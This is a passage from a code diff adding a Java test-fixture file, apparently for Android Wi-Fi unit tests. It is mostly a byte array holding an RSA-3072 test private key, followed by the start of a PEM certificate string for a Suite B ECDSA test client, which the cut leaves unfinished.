+            (byte) 0x36, (byte) 0x1f, (byte) 0x41, (byte) 0x35, (byte) 0x85, (byte) 0x2e,
+            (byte) 0x0d, (byte) 0x65, (byte) 0xfd, (byte) 0x44, (byte) 0xf5, (byte) 0x84,
+            (byte) 0xe3, (byte) 0xa4, (byte) 0x41, (byte) 0x9c, (byte) 0x1d, (byte) 0xb1,
+            (byte) 0xa5, (byte) 0xb5, (byte) 0xce, (byte) 0x02, (byte) 0xb2, (byte) 0x7a,
+            (byte) 0xe8, (byte) 0x85, (byte) 0x07, (byte) 0x62, (byte) 0x9d, (byte) 0x32,
+            (byte) 0x66, (byte) 0xc0, (byte) 0x4a, (byte) 0xaf, (byte) 0x94, (byte) 0xc7,
+            (byte) 0x52, (byte) 0xf5, (byte) 0x28, (byte) 0x80, (byte) 0xa8, (byte) 0xd0,
+            (byte) 0x88, (byte) 0x25, (byte) 0xc1, (byte) 0x67, (byte) 0x01, (byte) 0xff,
+            (byte) 0xc9, (byte) 0xe7, (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00,
+            (byte) 0x01, (byte) 0x02, (byte) 0x82, (byte) 0x01, (byte) 0x80, (byte) 0x04,
+            (byte) 0xb1, (byte) 0xcc, (byte) 0x53, (byte) 0x3a, (byte) 0xb0, (byte) 0xcb,
+            (byte) 0x04, (byte) 0xba, (byte) 0x59, (byte) 0xf8, (byte) 0x2e, (byte) 0x81,
+            (byte) 0xb2, (byte) 0xa9, (byte) 0xf3, (byte) 0x3c, (byte) 0xa5, (byte) 0x52,
+            (byte) 0x90, (byte) 0x6f, (byte) 0x98, (byte) 0xc4, (byte) 0x69, (byte) 0x5b,
+            (byte) 0x83, (byte) 0x84, (byte) 0x20, (byte) 0xb1, (byte) 0xae, (byte) 0xc3,
+            (byte) 0x04, (byte) 0x46, (byte) 0x6a, (byte) 0x24, (byte) 0x2f, (byte) 0xcd,
+            (byte) 0x6b, (byte) 0x90, (byte) 0x70, (byte) 0x20, (byte) 0x45, (byte) 0x25,
+            (byte) 0x1a, (byte) 0xc3, (byte) 0x02, (byte) 0x42, (byte) 0xf3, (byte) 0x49,
+            (byte) 0xe2, (byte) 0x3e, (byte) 0x21, (byte) 0x87, (byte) 0xdd, (byte) 0x6a,
+            (byte) 0x94, (byte) 0x2a, (byte) 0x1e, (byte) 0x0f, (byte) 0xdb, (byte) 0x77,
+            (byte) 0x5f, (byte) 0xc1, (byte) 0x2c, (byte) 0x03, (byte) 0xfb, (byte) 0xcf,
+            (byte) 0x91, (byte) 0x82, (byte) 0xa1, (byte) 0xbf, (byte) 0xb0, (byte) 0x73,
+            (byte) 0xfa, (byte) 0xda, (byte) 0xbc, (byte) 0xf8, (byte) 0x9f, (byte) 0x45,
+            (byte) 0xd3, (byte) 0xe8, (byte) 0xbb, (byte) 0x38, (byte) 0xfb, (byte) 0xc2,
+            (byte) 0x2d, (byte) 0x76, (byte) 0x51, (byte) 0x96, (byte) 0x18, (byte) 0x03,
+            (byte) 0x15, (byte) 0xd9, (byte) 0xea, (byte) 0x82, (byte) 0x25, (byte) 0x83,
+            (byte) 0xff, (byte) 0x5c, (byte) 0x85, (byte) 0x06, (byte) 0x09, (byte) 0xb2,
+            (byte) 0x46, (byte) 0x12, (byte) 0x64, (byte) 0x02, (byte) 0x74, (byte) 0x4f,
+            (byte) 0xbc, (byte) 0x9a, (byte) 0x25, (byte) 0x18, (byte) 0x01, (byte) 0x07,
+            (byte) 0x17, (byte) 0x25, (byte) 0x55, (byte) 0x7c, (byte) 0xdc, (byte) 0xe1,
+            (byte) 0xd1, (byte) 0x5a, (byte) 0x2f, (byte) 0x25, (byte) 0xaf, (byte) 0xf6,
+            (byte) 0x8f, (byte) 0xa4, (byte) 0x9a, (byte) 0x5a, (byte) 0x3a, (byte) 0xfe,
+            (byte) 0x2e, (byte) 0x93, (byte) 0x24, (byte) 0xa0, (byte) 0x27, (byte) 0xac,
+            (byte) 0x07, (byte) 0x75, (byte) 0x33, (byte) 0x01, (byte) 0x54, (byte) 0x23,
+            (byte) 0x0f, (byte) 0xe8, (byte) 0x9f, (byte) 0xfa, (byte) 0x36, (byte) 0xe6,
+            (byte) 0x3a, (byte) 0xd5, (byte) 0x78, (byte) 0xb0, (byte) 0xe4, (byte) 0x6a,
+            (byte) 0x16, (byte) 0x50, (byte) 0xbd, (byte) 0x0f, (byte) 0x9f, (byte) 0x32,
+            (byte) 0xa1, (byte) 0x6b, (byte) 0xf5, (byte) 0xa4, (byte) 0x34, (byte) 0x58,
+            (byte) 0xb6, (byte) 0xa4, (byte) 0xb3, (byte) 0xc3, (byte) 0x83, (byte) 0x08,
+            (byte) 0x18, (byte) 0xc7, (byte) 0xef, (byte) 0x95, (byte) 0xe2, (byte) 0x1b,
+            (byte) 0xba, (byte) 0x35, (byte) 0x61, (byte) 0xa3, (byte) 0xb4, (byte) 0x30,
+            (byte) 0xe0, (byte) 0xd1, (byte) 0xc1, (byte) 0xa2, (byte) 0x3a, (byte) 0xc6,
+            (byte) 0xb4, (byte) 0xd2, (byte) 0x80, (byte) 0x5a, (byte) 0xaf, (byte) 0xa4,
+            (byte) 0x54, (byte) 0x3c, (byte) 0x66, (byte) 0x5a, (byte) 0x1c, (byte) 0x4d,
+            (byte) 0xe1, (byte) 0xd9, (byte) 0x98, (byte) 0x44, (byte) 0x01, (byte) 0x1b,
+            (byte) 0x8c, (byte) 0xe9, (byte) 0x80, (byte) 0x54, (byte) 0x83, (byte) 0x3d,
+            (byte) 0x96, (byte) 0x25, (byte) 0x41, (byte) 0x1c, (byte) 0xad, (byte) 0xae,
+            (byte) 0x3b, (byte) 0x7a, (byte) 0xd7, (byte) 0x9d, (byte) 0x10, (byte) 0x7c,
+            (byte) 0xd1, (byte) 0xa7, (byte) 0x96, (byte) 0x39, (byte) 0xa5, (byte) 0x2f,
+            (byte) 0xbe, (byte) 0xc3, (byte) 0x2c, (byte) 0x64, (byte) 0x01, (byte) 0xfe,
+            (byte) 0xa2, (byte) 0xd1, (byte) 0x6a, (byte) 0xcf, (byte) 0x4c, (byte) 0x76,
+            (byte) 0x3b, (byte) 0xc8, (byte) 0x35, (byte) 0x21, (byte) 0xda, (byte) 0x98,
+            (byte) 0xcf, (byte) 0xf9, (byte) 0x29, (byte) 0xff, (byte) 0x30, (byte) 0x59,
+            (byte) 0x36, (byte) 0x53, (byte) 0x0b, (byte) 0xbb, (byte) 0xfa, (byte) 0xba,
+            (byte) 0xc4, (byte) 0x03, (byte) 0x23, (byte) 0xe0, (byte) 0xd3, (byte) 0x33,
+            (byte) 0xff, (byte) 0x32, (byte) 0xdb, (byte) 0x30, (byte) 0x64, (byte) 0xc7,
+            (byte) 0x56, (byte) 0xca, (byte) 0x55, (byte) 0x14, (byte) 0xee, (byte) 0x58,
+            (byte) 0xfe, (byte) 0x96, (byte) 0x7e, (byte) 0x1c, (byte) 0x34, (byte) 0x16,
+            (byte) 0xeb, (byte) 0x76, (byte) 0x26, (byte) 0x48, (byte) 0xe2, (byte) 0xe5,
+            (byte) 0x5c, (byte) 0xd5, (byte) 0x83, (byte) 0x37, (byte) 0xd9, (byte) 0x09,
+            (byte) 0x71, (byte) 0xbc, (byte) 0x54, (byte) 0x25, (byte) 0xca, (byte) 0x2e,
+            (byte) 0xdb, (byte) 0x36, (byte) 0x39, (byte) 0xcc, (byte) 0x3a, (byte) 0x81,
+            (byte) 0x95, (byte) 0x9e, (byte) 0xf4, (byte) 0x01, (byte) 0xa7, (byte) 0xc0,
+            (byte) 0x20, (byte) 0xce, (byte) 0x70, (byte) 0x55, (byte) 0x2c, (byte) 0xe0,
+            (byte) 0x93, (byte) 0x72, (byte) 0xa6, (byte) 0x25, (byte) 0xda, (byte) 0x64,
+            (byte) 0x19, (byte) 0x18, (byte) 0xd2, (byte) 0x31, (byte) 0xe2, (byte) 0x7c,
+            (byte) 0xf2, (byte) 0x30, (byte) 0x9e, (byte) 0x8d, (byte) 0xc6, (byte) 0x14,
+            (byte) 0x8a, (byte) 0x38, (byte) 0xf0, (byte) 0x94, (byte) 0xeb, (byte) 0xf4,
+            (byte) 0x64, (byte) 0x92, (byte) 0x3d, (byte) 0x67, (byte) 0xa6, (byte) 0x2c,
+            (byte) 0x52, (byte) 0xfc, (byte) 0x60, (byte) 0xca, (byte) 0x2a, (byte) 0xcf,
+            (byte) 0x24, (byte) 0xd5, (byte) 0x42, (byte) 0x5f, (byte) 0xc7, (byte) 0x9f,
+            (byte) 0xf3, (byte) 0xb4, (byte) 0xdf, (byte) 0x76, (byte) 0x6e, (byte) 0x53,
+            (byte) 0xa1, (byte) 0x7b, (byte) 0xae, (byte) 0xa5, (byte) 0x84, (byte) 0x1f,
+            (byte) 0xfa, (byte) 0xc0, (byte) 0xb4, (byte) 0x6c, (byte) 0xc9, (byte) 0x02,
+            (byte) 0x81, (byte) 0xc1, (byte) 0x00, (byte) 0xf3, (byte) 0x17, (byte) 0xd9,
+            (byte) 0x48, (byte) 0x17, (byte) 0x87, (byte) 0x84, (byte) 0x16, (byte) 0xea,
+            (byte) 0x2d, (byte) 0x31, (byte) 0x1b, (byte) 0xce, (byte) 0xec, (byte) 0xaf,
+            (byte) 0xdc, (byte) 0x6b, (byte) 0xaf, (byte) 0xc8, (byte) 0xf1, (byte) 0x40,
+            (byte) 0xa7, (byte) 0x4f, (byte) 0xef, (byte) 0x48, (byte) 0x08, (byte) 0x5e,
+            (byte) 0x9a, (byte) 0xd1, (byte) 0xc0, (byte) 0xb1, (byte) 0xfe, (byte) 0xe7,
+            (byte) 0x03, (byte) 0xd5, (byte) 0x96, (byte) 0x01, (byte) 0xe8, (byte) 0x40,
+            (byte) 0xca, (byte) 0x78, (byte) 0xcb, (byte) 0xb3, (byte) 0x28, (byte) 0x1a,
+            (byte) 0xf0, (byte) 0xe5, (byte) 0xf6, (byte) 0x46, (byte) 0xef, (byte) 0xcd,
+            (byte) 0x1a, (byte) 0x0f, (byte) 0x13, (byte) 0x2d, (byte) 0x38, (byte) 0xf8,
+            (byte) 0xf7, (byte) 0x88, (byte) 0x21, (byte) 0x15, (byte) 0xce, (byte) 0x48,
+            (byte) 0xf4, (byte) 0x92, (byte) 0x7e, (byte) 0x9b, (byte) 0x2e, (byte) 0x2f,
+            (byte) 0x22, (byte) 0x3e, (byte) 0x5c, (byte) 0x67, (byte) 0xd7, (byte) 0x58,
+            (byte) 0xf6, (byte) 0xef, (byte) 0x1f, (byte) 0xb4, (byte) 0x04, (byte) 0xc7,
+            (byte) 0xfd, (byte) 0x8c, (byte) 0x4e, (byte) 0x27, (byte) 0x9e, (byte) 0xb9,
+            (byte) 0xef, (byte) 0x0f, (byte) 0xf7, (byte) 0x4a, (byte) 0xc2, (byte) 0xf4,
+            (byte) 0x64, (byte) 0x6b, (byte) 0xe0, (byte) 0xfb, (byte) 0xe3, (byte) 0x45,
+            (byte) 0xd5, (byte) 0x37, (byte) 0xa0, (byte) 0x2a, (byte) 0xc6, (byte) 0xf3,
+            (byte) 0xf6, (byte) 0xcc, (byte) 0xb5, (byte) 0x94, (byte) 0xbf, (byte) 0x56,
+            (byte) 0xa0, (byte) 0x61, (byte) 0x36, (byte) 0x88, (byte) 0x35, (byte) 0xd5,
+            (byte) 0xa5, (byte) 0xad, (byte) 0x20, (byte) 0x48, (byte) 0xda, (byte) 0x70,
+            (byte) 0x35, (byte) 0xd9, (byte) 0x75, (byte) 0x66, (byte) 0xa5, (byte) 0xac,
+            (byte) 0x86, (byte) 0x7a, (byte) 0x75, (byte) 0x49, (byte) 0x88, (byte) 0x40,
+            (byte) 0xce, (byte) 0xb0, (byte) 0x6f, (byte) 0x57, (byte) 0x15, (byte) 0x54,
+            (byte) 0xd3, (byte) 0x2f, (byte) 0x11, (byte) 0x9b, (byte) 0xe3, (byte) 0x87,
+            (byte) 0xc8, (byte) 0x8d, (byte) 0x98, (byte) 0xc6, (byte) 0xe0, (byte) 0xbc,
+            (byte) 0x85, (byte) 0xb9, (byte) 0x04, (byte) 0x43, (byte) 0xa9, (byte) 0x41,
+            (byte) 0xce, (byte) 0x42, (byte) 0x1a, (byte) 0x57, (byte) 0x10, (byte) 0xd8,
+            (byte) 0xe4, (byte) 0x6a, (byte) 0x51, (byte) 0x10, (byte) 0x0a, (byte) 0xec,
+            (byte) 0xe4, (byte) 0x57, (byte) 0xc7, (byte) 0xee, (byte) 0xe9, (byte) 0xd6,
+            (byte) 0xcb, (byte) 0x3e, (byte) 0xba, (byte) 0xfa, (byte) 0xe9, (byte) 0x0e,
+            (byte) 0xed, (byte) 0x87, (byte) 0x04, (byte) 0x9a, (byte) 0x48, (byte) 0xba,
+            (byte) 0xaf, (byte) 0x08, (byte) 0xf5, (byte) 0x02, (byte) 0x81, (byte) 0xc1,
+            (byte) 0x00, (byte) 0xcb, (byte) 0x63, (byte) 0xd6, (byte) 0x54, (byte) 0xb6,
+            (byte) 0xf3, (byte) 0xf3, (byte) 0x8c, (byte) 0xf8, (byte) 0xd0, (byte) 0xd2,
+            (byte) 0x84, (byte) 0xc1, (byte) 0xf5, (byte) 0x12, (byte) 0xe0, (byte) 0x02,
+            (byte) 0x80, (byte) 0x42, (byte) 0x92, (byte) 0x4e, (byte) 0xa4, (byte) 0x5c,
+            (byte) 0xa5, (byte) 0x64, (byte) 0xec, (byte) 0xb7, (byte) 0xdc, (byte) 0xe0,
+            (byte) 0x2d, (byte) 0x5d, (byte) 0xac, (byte) 0x0e, (byte) 0x24, (byte) 0x48,
+            (byte) 0x13, (byte) 0x05, (byte) 0xe8, (byte) 0xff, (byte) 0x96, (byte) 0x93,
+            (byte) 0xba, (byte) 0x3c, (byte) 0x88, (byte) 0xcc, (byte) 0x80, (byte) 0xf9,
+            (byte) 0xdb, (byte) 0xa8, (byte) 0x4d, (byte) 0x86, (byte) 0x47, (byte) 0xc8,
+            (byte) 0xbf, (byte) 0x34, (byte) 0x2d, (byte) 0xda, (byte) 0xb6, (byte) 0x28,
+            (byte) 0xf0, (byte) 0x1e, (byte) 0xd2, (byte) 0x46, (byte) 0x0d, (byte) 0x6f,
+            (byte) 0x36, (byte) 0x8e, (byte) 0x84, (byte) 0xd8, (byte) 0xaf, (byte) 0xf7,
+            (byte) 0x69, (byte) 0x23, (byte) 0x77, (byte) 0xfb, (byte) 0xc5, (byte) 0x04,
+            (byte) 0x08, (byte) 0x18, (byte) 0xac, (byte) 0x85, (byte) 0x80, (byte) 0x87,
+            (byte) 0x1c, (byte) 0xfe, (byte) 0x8e, (byte) 0x5d, (byte) 0x00, (byte) 0x7f,
+            (byte) 0x5b, (byte) 0x33, (byte) 0xf5, (byte) 0xdf, (byte) 0x70, (byte) 0x81,
+            (byte) 0xad, (byte) 0x81, (byte) 0xf4, (byte) 0x5a, (byte) 0x37, (byte) 0x8a,
+            (byte) 0x79, (byte) 0x09, (byte) 0xc5, (byte) 0x55, (byte) 0xab, (byte) 0x58,
+            (byte) 0x7c, (byte) 0x47, (byte) 0xca, (byte) 0xa5, (byte) 0x80, (byte) 0x49,
+            (byte) 0x5f, (byte) 0x71, (byte) 0x83, (byte) 0xfb, (byte) 0x3b, (byte) 0x06,
+            (byte) 0xec, (byte) 0x75, (byte) 0x23, (byte) 0xc4, (byte) 0x32, (byte) 0xc7,
+            (byte) 0x18, (byte) 0xf6, (byte) 0x82, (byte) 0x95, (byte) 0x98, (byte) 0x39,
+            (byte) 0xf7, (byte) 0x92, (byte) 0x31, (byte) 0xc0, (byte) 0x89, (byte) 0xba,
+            (byte) 0xd4, (byte) 0xd4, (byte) 0x58, (byte) 0x4e, (byte) 0x38, (byte) 0x35,
+            (byte) 0x10, (byte) 0xb9, (byte) 0xf1, (byte) 0x27, (byte) 0xdc, (byte) 0xff,
+            (byte) 0xc7, (byte) 0xb2, (byte) 0xba, (byte) 0x1f, (byte) 0x27, (byte) 0xaf,
+            (byte) 0x99, (byte) 0xd5, (byte) 0xb0, (byte) 0x39, (byte) 0xe7, (byte) 0x43,
+            (byte) 0x88, (byte) 0xd3, (byte) 0xce, (byte) 0x38, (byte) 0xc2, (byte) 0x99,
+            (byte) 0x43, (byte) 0xfc, (byte) 0x8a, (byte) 0xe3, (byte) 0x60, (byte) 0x0d,
+            (byte) 0x0a, (byte) 0xb8, (byte) 0xc4, (byte) 0x29, (byte) 0xca, (byte) 0x0d,
+            (byte) 0x30, (byte) 0xaf, (byte) 0xca, (byte) 0xd0, (byte) 0xaa, (byte) 0x67,
+            (byte) 0xb1, (byte) 0xdd, (byte) 0xdb, (byte) 0x7a, (byte) 0x11, (byte) 0xad,
+            (byte) 0xeb, (byte) 0x02, (byte) 0x81, (byte) 0xc0, (byte) 0x71, (byte) 0xb8,
+            (byte) 0xcf, (byte) 0x72, (byte) 0x35, (byte) 0x67, (byte) 0xb5, (byte) 0x38,
+            (byte) 0x8f, (byte) 0x16, (byte) 0xd3, (byte) 0x29, (byte) 0x82, (byte) 0x35,
+            (byte) 0x21, (byte) 0xd4, (byte) 0x49, (byte) 0x20, (byte) 0x74, (byte) 0x2d,
+            (byte) 0xc0, (byte) 0xa4, (byte) 0x44, (byte) 0xf5, (byte) 0xd8, (byte) 0xc9,
+            (byte) 0xe9, (byte) 0x90, (byte) 0x1d, (byte) 0xde, (byte) 0x3a, (byte) 0xa6,
+            (byte) 0xd7, (byte) 0xe5, (byte) 0xe8, (byte) 0x4e, (byte) 0x83, (byte) 0xd7,
+            (byte) 0xe6, (byte) 0x2f, (byte) 0x92, (byte) 0x31, (byte) 0x21, (byte) 0x3f,
+            (byte) 0xfa, (byte) 0xd2, (byte) 0x85, (byte) 0x92, (byte) 0x1f, (byte) 0xff,
+            (byte) 0x61, (byte) 0x00, (byte) 0xf6, (byte) 0xda, (byte) 0x6e, (byte) 0xc6,
+            (byte) 0x7f, (byte) 0x5a, (byte) 0x35, (byte) 0x79, (byte) 0xdc, (byte) 0xdc,
+            (byte) 0xa3, (byte) 0x2e, (byte) 0x9f, (byte) 0x35, (byte) 0xd1, (byte) 0x5c,
+            (byte) 0xda, (byte) 0xb9, (byte) 0xf7, (byte) 0x58, (byte) 0x7d, (byte) 0x4f,
+            (byte) 0xb6, (byte) 0x13, (byte) 0xd7, (byte) 0x2c, (byte) 0x0a, (byte) 0xa8,
+            (byte) 0x4d, (byte) 0xf2, (byte) 0xe4, (byte) 0x67, (byte) 0x4f, (byte) 0x8b,
+            (byte) 0xa6, (byte) 0xca, (byte) 0x1a, (byte) 0xbb, (byte) 0x02, (byte) 0x63,
+            (byte) 0x8f, (byte) 0xb7, (byte) 0x46, (byte) 0xec, (byte) 0x7a, (byte) 0x8a,
+            (byte) 0x09, (byte) 0x0a, (byte) 0x45, (byte) 0x3a, (byte) 0x8d, (byte) 0xa8,
+            (byte) 0x83, (byte) 0x4b, (byte) 0x0a, (byte) 0xdb, (byte) 0x4b, (byte) 0x99,
+            (byte) 0xf3, (byte) 0x69, (byte) 0x95, (byte) 0xf0, (byte) 0xcf, (byte) 0xe9,
+            (byte) 0xf7, (byte) 0x67, (byte) 0xc9, (byte) 0x45, (byte) 0x18, (byte) 0x2f,
+            (byte) 0xf0, (byte) 0x5c, (byte) 0x90, (byte) 0xbd, (byte) 0xa6, (byte) 0x66,
+            (byte) 0x8c, (byte) 0xfe, (byte) 0x60, (byte) 0x5d, (byte) 0x6c, (byte) 0x27,
+            (byte) 0xec, (byte) 0xc1, (byte) 0x84, (byte) 0xb2, (byte) 0xa1, (byte) 0x97,
+            (byte) 0x9e, (byte) 0x16, (byte) 0x29, (byte) 0xa7, (byte) 0xe0, (byte) 0x38,
+            (byte) 0xa2, (byte) 0x36, (byte) 0x05, (byte) 0x5f, (byte) 0xda, (byte) 0x72,
+            (byte) 0x1a, (byte) 0x5f, (byte) 0xa8, (byte) 0x7d, (byte) 0x41, (byte) 0x35,
+            (byte) 0xf6, (byte) 0x4e, (byte) 0x0a, (byte) 0x88, (byte) 0x8e, (byte) 0x00,
+            (byte) 0x98, (byte) 0xa6, (byte) 0xca, (byte) 0xc1, (byte) 0xdf, (byte) 0x72,
+            (byte) 0x6c, (byte) 0xfe, (byte) 0x29, (byte) 0xbe, (byte) 0xa3, (byte) 0x9b,
+            (byte) 0x0b, (byte) 0x5c, (byte) 0x0b, (byte) 0x9d, (byte) 0xa7, (byte) 0x71,
+            (byte) 0xce, (byte) 0x04, (byte) 0xfa, (byte) 0xac, (byte) 0x01, (byte) 0x8d,
+            (byte) 0x52, (byte) 0xa0, (byte) 0x3d, (byte) 0xdd, (byte) 0x02, (byte) 0x81,
+            (byte) 0xc1, (byte) 0x00, (byte) 0xc1, (byte) 0xc0, (byte) 0x2e, (byte) 0xa9,
+            (byte) 0xee, (byte) 0xca, (byte) 0xff, (byte) 0xe4, (byte) 0xf8, (byte) 0x15,
+            (byte) 0xfd, (byte) 0xa5, (byte) 0x68, (byte) 0x1b, (byte) 0x2d, (byte) 0x4a,
+            (byte) 0xe6, (byte) 0x37, (byte) 0x06, (byte) 0xb3, (byte) 0xd7, (byte) 0x64,
+            (byte) 0xad, (byte) 0xb9, (byte) 0x05, (byte) 0x26, (byte) 0x97, (byte) 0x94,
+            (byte) 0x3a, (byte) 0x9e, (byte) 0x1c, (byte) 0xd0, (byte) 0xcd, (byte) 0x7b,
+            (byte) 0xf4, (byte) 0x88, (byte) 0xe2, (byte) 0xa5, (byte) 0x6d, (byte) 0xed,
+            (byte) 0x24, (byte) 0x77, (byte) 0x52, (byte) 0x39, (byte) 0x43, (byte) 0x0f,
+            (byte) 0x4e, (byte) 0x75, (byte) 0xd8, (byte) 0xa3, (byte) 0x59, (byte) 0x5a,
+            (byte) 0xc2, (byte) 0xba, (byte) 0x9a, (byte) 0x5b, (byte) 0x60, (byte) 0x31,
+            (byte) 0x0d, (byte) 0x58, (byte) 0x89, (byte) 0x13, (byte) 0xe8, (byte) 0x95,
+            (byte) 0xdd, (byte) 0xae, (byte) 0xcc, (byte) 0x1f, (byte) 0x73, (byte) 0x48,
+            (byte) 0x55, (byte) 0xd8, (byte) 0xfb, (byte) 0x67, (byte) 0xce, (byte) 0x18,
+            (byte) 0x85, (byte) 0x59, (byte) 0xad, (byte) 0x1f, (byte) 0x93, (byte) 0xe1,
+            (byte) 0xb7, (byte) 0x54, (byte) 0x80, (byte) 0x8e, (byte) 0x5f, (byte) 0xbc,
+            (byte) 0x1c, (byte) 0x96, (byte) 0x66, (byte) 0x2e, (byte) 0x40, (byte) 0x17,
+            (byte) 0x2e, (byte) 0x01, (byte) 0x7a, (byte) 0x7d, (byte) 0xaa, (byte) 0xff,
+            (byte) 0xa3, (byte) 0xd2, (byte) 0xdf, (byte) 0xe2, (byte) 0xf3, (byte) 0x54,
+            (byte) 0x51, (byte) 0xeb, (byte) 0xba, (byte) 0x7c, (byte) 0x2a, (byte) 0x22,
+            (byte) 0xc6, (byte) 0x42, (byte) 0xbc, (byte) 0xa1, (byte) 0x6c, (byte) 0xcf,
+            (byte) 0x73, (byte) 0x2e, (byte) 0x07, (byte) 0xfc, (byte) 0xf5, (byte) 0x67,
+            (byte) 0x25, (byte) 0xd0, (byte) 0xfa, (byte) 0xeb, (byte) 0xb4, (byte) 0xd4,
+            (byte) 0x19, (byte) 0xcc, (byte) 0x64, (byte) 0xa1, (byte) 0x2e, (byte) 0x78,
+            (byte) 0x45, (byte) 0xd9, (byte) 0x7f, (byte) 0x1b, (byte) 0x4c, (byte) 0x10,
+            (byte) 0x31, (byte) 0x44, (byte) 0xe8, (byte) 0xcc, (byte) 0xf9, (byte) 0x1b,
+            (byte) 0x87, (byte) 0x31, (byte) 0xd6, (byte) 0x69, (byte) 0x85, (byte) 0x4a,
+            (byte) 0x49, (byte) 0xf6, (byte) 0xb2, (byte) 0xe0, (byte) 0xb8, (byte) 0x98,
+            (byte) 0x3c, (byte) 0xf6, (byte) 0x78, (byte) 0x46, (byte) 0xc8, (byte) 0x3d,
+            (byte) 0x60, (byte) 0xc1, (byte) 0xaa, (byte) 0x2f, (byte) 0x28, (byte) 0xa1,
+            (byte) 0x14, (byte) 0x6b, (byte) 0x75, (byte) 0x4d, (byte) 0xb1, (byte) 0x3d,
+            (byte) 0x80, (byte) 0x49, (byte) 0x33, (byte) 0xfd, (byte) 0x71, (byte) 0xc0,
+            (byte) 0x13, (byte) 0x1e, (byte) 0x16, (byte) 0x69, (byte) 0x80, (byte) 0xa4,
+            (byte) 0x9c, (byte) 0xd7, (byte) 0x02, (byte) 0x81, (byte) 0xc1, (byte) 0x00,
+            (byte) 0x8c, (byte) 0x33, (byte) 0x2d, (byte) 0xd9, (byte) 0xf3, (byte) 0x42,
+            (byte) 0x4d, (byte) 0xca, (byte) 0x5e, (byte) 0x60, (byte) 0x14, (byte) 0x10,
+            (byte) 0xf6, (byte) 0xf3, (byte) 0x71, (byte) 0x15, (byte) 0x88, (byte) 0x54,
+            (byte) 0x84, (byte) 0x21, (byte) 0x04, (byte) 0xb1, (byte) 0xaf, (byte) 0x02,
+            (byte) 0x11, (byte) 0x7f, (byte) 0x42, (byte) 0x3e, (byte) 0x86, (byte) 0xcb,
+            (byte) 0x6c, (byte) 0xf5, (byte) 0x57, (byte) 0x78, (byte) 0x4a, (byte) 0x03,
+            (byte) 0x9b, (byte) 0x80, (byte) 0xc2, (byte) 0x04, (byte) 0x3a, (byte) 0x6b,
+            (byte) 0xb3, (byte) 0x30, (byte) 0x31, (byte) 0x7e, (byte) 0xc3, (byte) 0x89,
+            (byte) 0x09, (byte) 0x4e, (byte) 0x86, (byte) 0x59, (byte) 0x41, (byte) 0xb5,
+            (byte) 0xae, (byte) 0xd5, (byte) 0xc6, (byte) 0x38, (byte) 0xbc, (byte) 0xd7,
+            (byte) 0xd7, (byte) 0x8e, (byte) 0xa3, (byte) 0x1a, (byte) 0xde, (byte) 0x32,
+            (byte) 0xad, (byte) 0x8d, (byte) 0x15, (byte) 0x81, (byte) 0xfe, (byte) 0xac,
+            (byte) 0xbd, (byte) 0xd0, (byte) 0xca, (byte) 0xbc, (byte) 0xd8, (byte) 0x6a,
+            (byte) 0xe1, (byte) 0xfe, (byte) 0xda, (byte) 0xc4, (byte) 0xd8, (byte) 0x62,
+            (byte) 0x71, (byte) 0x20, (byte) 0xa3, (byte) 0xd3, (byte) 0x06, (byte) 0x11,
+            (byte) 0xa9, (byte) 0x53, (byte) 0x7a, (byte) 0x44, (byte) 0x89, (byte) 0x3d,
+            (byte) 0x28, (byte) 0x5e, (byte) 0x7d, (byte) 0xf0, (byte) 0x60, (byte) 0xeb,
+            (byte) 0xb5, (byte) 0xdf, (byte) 0xed, (byte) 0x4f, (byte) 0x6d, (byte) 0x05,
+            (byte) 0x59, (byte) 0x06, (byte) 0xb0, (byte) 0x62, (byte) 0x50, (byte) 0x1c,
+            (byte) 0xb7, (byte) 0x2c, (byte) 0x44, (byte) 0xa4, (byte) 0x49, (byte) 0xf8,
+            (byte) 0x4f, (byte) 0x4b, (byte) 0xab, (byte) 0x71, (byte) 0x5b, (byte) 0xcb,
+            (byte) 0x31, (byte) 0x10, (byte) 0x41, (byte) 0xe0, (byte) 0x1a, (byte) 0x15,
+            (byte) 0xdc, (byte) 0x4c, (byte) 0x5d, (byte) 0x4f, (byte) 0x62, (byte) 0x83,
+            (byte) 0xa4, (byte) 0x80, (byte) 0x06, (byte) 0x36, (byte) 0xba, (byte) 0xc9,
+            (byte) 0xe2, (byte) 0xa4, (byte) 0x11, (byte) 0x98, (byte) 0x6b, (byte) 0x4c,
+            (byte) 0xe9, (byte) 0x90, (byte) 0x55, (byte) 0x18, (byte) 0xde, (byte) 0xe1,
+            (byte) 0x42, (byte) 0x38, (byte) 0x28, (byte) 0xa3, (byte) 0x54, (byte) 0x56,
+            (byte) 0x31, (byte) 0xaf, (byte) 0x5a, (byte) 0xd6, (byte) 0xf0, (byte) 0x26,
+            (byte) 0xe0, (byte) 0x7a, (byte) 0xd9, (byte) 0x6c, (byte) 0x64, (byte) 0xca,
+            (byte) 0x5d, (byte) 0x6d, (byte) 0x3d, (byte) 0x9a, (byte) 0xfe, (byte) 0x36,
+            (byte) 0x93, (byte) 0x9e, (byte) 0x62, (byte) 0x94, (byte) 0xc6, (byte) 0x07,
+            (byte) 0x83, (byte) 0x96, (byte) 0xd6, (byte) 0x27, (byte) 0xa6, (byte) 0xd8
+    };
+    public static final PrivateKey CLIENT_SUITE_B_RSA3072_KEY =
+            loadPrivateKey("RSA", CLIENT_SUITE_B_RSA3072_KEY_DATA);
+
+    private static final String CLIENT_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIB9zCCAX4CFDpfSZh3AH07BEfGWuMDa7Ynz6y+MAoGCCqGSM49BAMDMF4xCzAJ\n"
+                    + "BgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQKDAdB\n"
+                    + "bmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4XDTIw\n"
+                    + "MDcyMTAyMjk1MFoXDTMwMDUzMDAyMjk1MFowYjELMAkGA1UEBhMCVVMxCzAJBgNV\n"
+                    + "BAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsM\n"
+                    + "BVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MHYwEAYHKoZIzj0CAQYFK4EE\n"
+                    + "ACIDYgAEhxhVJ7dcSqrto0X+dgRxtd8BWG8cWmPjBji3MIxDLfpcMDoIB84ae1Ew\n"
+                    + "gJn4YUYHrWsUDiVNihv8j7a/Ol1qcIY2ybH7tbezefLmagqA4vXEUXZXoUyL4ZNC\n"
